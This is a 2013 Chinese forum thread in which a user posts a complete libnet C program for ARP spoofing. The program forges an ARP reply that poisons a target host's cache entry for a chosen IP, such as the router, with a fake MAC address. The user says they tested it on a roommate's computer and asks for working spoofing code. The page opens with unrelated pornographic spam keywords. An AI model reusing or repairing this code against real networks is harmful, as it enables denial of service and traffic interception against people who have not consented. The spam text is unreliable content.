亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費注冊 查看新帖 |

Chinaunix

  平臺 論壇 博客 文庫
最近訪問板塊 發(fā)新帖
查看: 2193 | 回復(fù): 2
打印 上一主題 下一主題

[網(wǎng)絡(luò)] 求一個用libnet庫寫的ARP欺騙的例子 [復(fù)制鏈接]

論壇徽章:
0
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報告]
發(fā)表于 2013-11-04 12:34 |只看該作者 |倒序瀏覽
最近看了UNP第29章,想寫一個ARP欺騙的程序,寫成后拿舍友的電腦來試驗,結(jié)果舍友還能上網(wǎng),我自己倒不能上網(wǎng)了(我們宿舍四個人用一個路由器),這里把程序貼出來,請大家?guī)臀铱纯。如果大家之前有寫過這類程序,能在下面貼出來給我參考下是最好不過了。。多謝大家!

  1. #include <unp.h>
  2. #include <libnet.h>
  3. #include <net/if_arp.h>

  4. /*
  5. * argv[1]為欺騙目標(biāo)的IP地址,argv[2]為要修改目標(biāo)主機的ARP表項的IP地址
  6. * 有了欺騙目標(biāo)的IP地址后,通過訪問ARP緩存來獲得目標(biāo)主機的MAC地址
  7. * 這是因為目標(biāo)主機通常和我們在同一個網(wǎng)段,我們可以通過ping目標(biāo)主機來獲得目標(biāo)主機IP到目標(biāo)主機MAC地址的ARP表項
  8. * 舉個例子,當(dāng)輸入 “./arpcheat 192.168.1.100 192.168.1.1” 時,則把主機192.168.1.100的ARP表中的192.168.1.1
  9. * 對應(yīng)的MAC地址改成 a5:a5:a5:a5:a5:a5
  10. */

  11. libnet_t *pnet;
  12. libnet_ptag_t arptag;
  13. libnet_ptag_t ethtag;

  14. int main(int argc, char *argv[])
  15. {
  16.     int fd;
  17.     struct sockaddr_in *sin;
  18.     struct arpreq arpreq;
  19.     uint8_t mod[4], h_dest[6], h_mod[6], *ptr;
  20.     char errbuf[LIBNET_ERRBUF_SIZE];

  21.     if (argc != 3)
  22.         err_quit("Usage: arpcheat <dest ip> <modified ip>");

  23.     /* 通過訪問ARP緩存來獲得目標(biāo)主機的MAC地址 */
  24.     bzero(&arpreq, sizeof(struct arpreq));
  25.     sin = (struct sockaddr_in *) &arpreq.arp_pa;
  26.     sin->sin_family = AF_INET;
  27.     Inet_pton(AF_INET, argv[1], &sin->sin_addr);

  28.     fd = Socket(AF_INET, SOCK_DGRAM, 0);
  29.     strcpy(arpreq.arp_dev, "wlan0");
  30.     Ioctl(fd, SIOCGARP, &arpreq);

  31.     /*
  32.      * mod中存放修改主機的IP,h_dest中存放目標(biāo)主機的MAC地址
  33.      * h_mod中存入 a5:a5:a5:a5:a5:a5
  34.      */
  35.     Inet_pton(AF_INET, argv[2], mod);
  36.     memcpy(h_dest, &arpreq.arp_ha.sa_data[0], 6);
  37.     memset(h_mod, 0xa5, 6);

  38.     /* 初始化libnet */
  39.     pnet = libnet_init(LIBNET_LINK_ADV, "wlan0", errbuf);
  40.     if (pnet == NULL)
  41.         err_quit("Can't initialize libnet: %s", errbuf);

  42.     /* 構(gòu)造ARP報文 */
  43.     arptag = libnet_build_arp(
  44.         1,                           /* 以太網(wǎng)地址類型 */
  45.         0x0800,                        /* IP地址類型 */
  46.         6,                        /* 以太網(wǎng)地址長度 */
  47.         4,                        /* IP地址長度 */
  48.         ARPOP_REPLY,                /* ARP響應(yīng) */
  49.         h_mod,                        /* 發(fā)送主機的MAC地址,這里是 a5:a5:a5:a5:a5:a5 */
  50.         mod,                        /* 發(fā)送主機的IP地址 */
  51.         h_dest,                        /* 目標(biāo)主機的MAC地址 */
  52.         (uint8_t *) &sin->sin_addr, /* 目標(biāo)主機的IP地址 */
  53.         NULL,
  54.         0,
  55.         pnet,
  56.         0);

  57.     if (arptag == -1)
  58.         err_quit("arptag error");
  59.     /* 構(gòu)造以太網(wǎng)頭部 */
  60.     ethtag = libnet_build_ethernet(
  61.         h_dest,                        /* 目標(biāo)主機的MAC地址 */
  62.         h_mod,                        /* 發(fā)送主機的MAC地址 */
  63.         0x0806,                        /* 以太網(wǎng)幀類型,這里是ARP */
  64.         NULL,
  65.         0,
  66.         pnet,
  67.         0);

  68.     if (ethtag == -1)
  69.         err_quit("ethtag error");
  70.    
  71.     /* 寫出以太網(wǎng)幀 */
  72.     if (libnet_write(pnet) < 0)
  73.         printf("lost packet\n");
  74.    
  75.     libnet_destroy(pnet);
  76.    
  77.     return 0;
  78. }
復(fù)制代碼

論壇徽章:
1
天蝎座
日期:2013-12-06 18:23:58
2 [報告]
發(fā)表于 2013-11-07 21:33 |只看該作者
你自己的IP是多少?

論壇徽章:
0
3 [報告]
發(fā)表于 2013-11-08 11:21 |只看該作者
crazyhadoop 發(fā)表于 2013-11-07 21:33
你自己的IP是多少?

我忘了。。但是我拿來測試的不是自己的IP地址。
您需要登錄后才可以回帖 登錄 | 注冊

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報專區(qū)
中國互聯(lián)網(wǎng)協(xié)會會員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP